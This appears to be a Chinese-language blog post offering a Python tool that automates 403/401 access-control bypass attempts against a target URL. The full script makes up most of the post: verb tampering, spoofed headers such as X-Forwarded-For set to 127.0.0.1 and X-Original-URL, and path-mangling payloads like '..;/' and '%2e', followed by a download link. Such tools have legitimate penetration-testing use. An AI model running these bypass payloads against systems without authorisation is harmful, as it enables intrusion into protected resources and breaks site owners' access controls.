一款自动化的403/401绕过测试工具

工具介绍

一款自动化的403/401绕过测试工具，集成了路径规范化、请求头注入及谓词篡改等多种实战技巧。

工具使用

复制代码

python run.py -u http://xx.com

run.py

复制代码

import requests
import argparse
import urllib3
from urllib.parse import urlparse

# 忽略 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class BypassScanner:
    def __init__(self, target_url):
        self.target = target_url.rstrip('/')
        self.path = urlparse(target_url).path
        self.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AF-Service-Scanner/1.0"
        }

    def scan(self):
        print(f"[*] Starting Bypass Scan for: {self.target}\n")
        
        # 1. 谓词篡改 (Verb Tampering)
        methods = ["GET", "POST", "HEAD", "PUT", "TRACE", "OPTIONS"]
        for m in methods:
            self._request(m, self.target, title=f"Method: {m}")

        # 2. Header 注入
        bypass_headers = [
            {"X-Forwarded-For": "127.0.0.1"},
            {"X-Custom-IP-Authorization": "127.0.0.1"},
            {"X-Original-URL": self.path},
            {"X-Rewrite-URL": self.path},
            {"X-Remote-IP": "127.0.0.1"},
            {"X-Host": "127.0.0.1"}
        ]
        for h in bypass_headers:
            self._request("GET", self.target, headers=h, title=f"Header: {list(h.keys())[0]}")

        # 3. 路径变形 (Path Fuzzing)
        # 包含你提到的 ..;/ 和 ../
        path_payloads = [
            f"{self.target}/",
            f"{self.target}/.",
            f"{self.target}..;/",
            f"{self.target}/..;/",
            f"{self.target}/%2e/",
            f"{self.target}//",
            f"{self.target}.json"
        ]
        for p in path_payloads:
            self._request("GET", p, title=f"Path: {p.replace(self.target, '')}")

    def _request(self, method, url, headers=None, title=""):
        test_headers = self.headers.copy()
        if headers:
            test_headers.update(headers)
        
        try:
            resp = requests.request(method, url, headers=test_headers, verify=False, timeout=5, allow_redirects=False)
            color = "\033[92m" if resp.status_code == 200 else "\033[90m"
            print(f"{color}[{resp.status_code}] {title} \033[0m")
        except Exception as e:
            print(f"[!] Error on {title}: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="403/401 Bypass Automation Tool")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., https://example.com/admin)")
    args = parser.parse_args()

    scanner = BypassScanner(args.url)
    scanner.scan()

工具下载

复制代码

https://github.com/Adonis-363/403-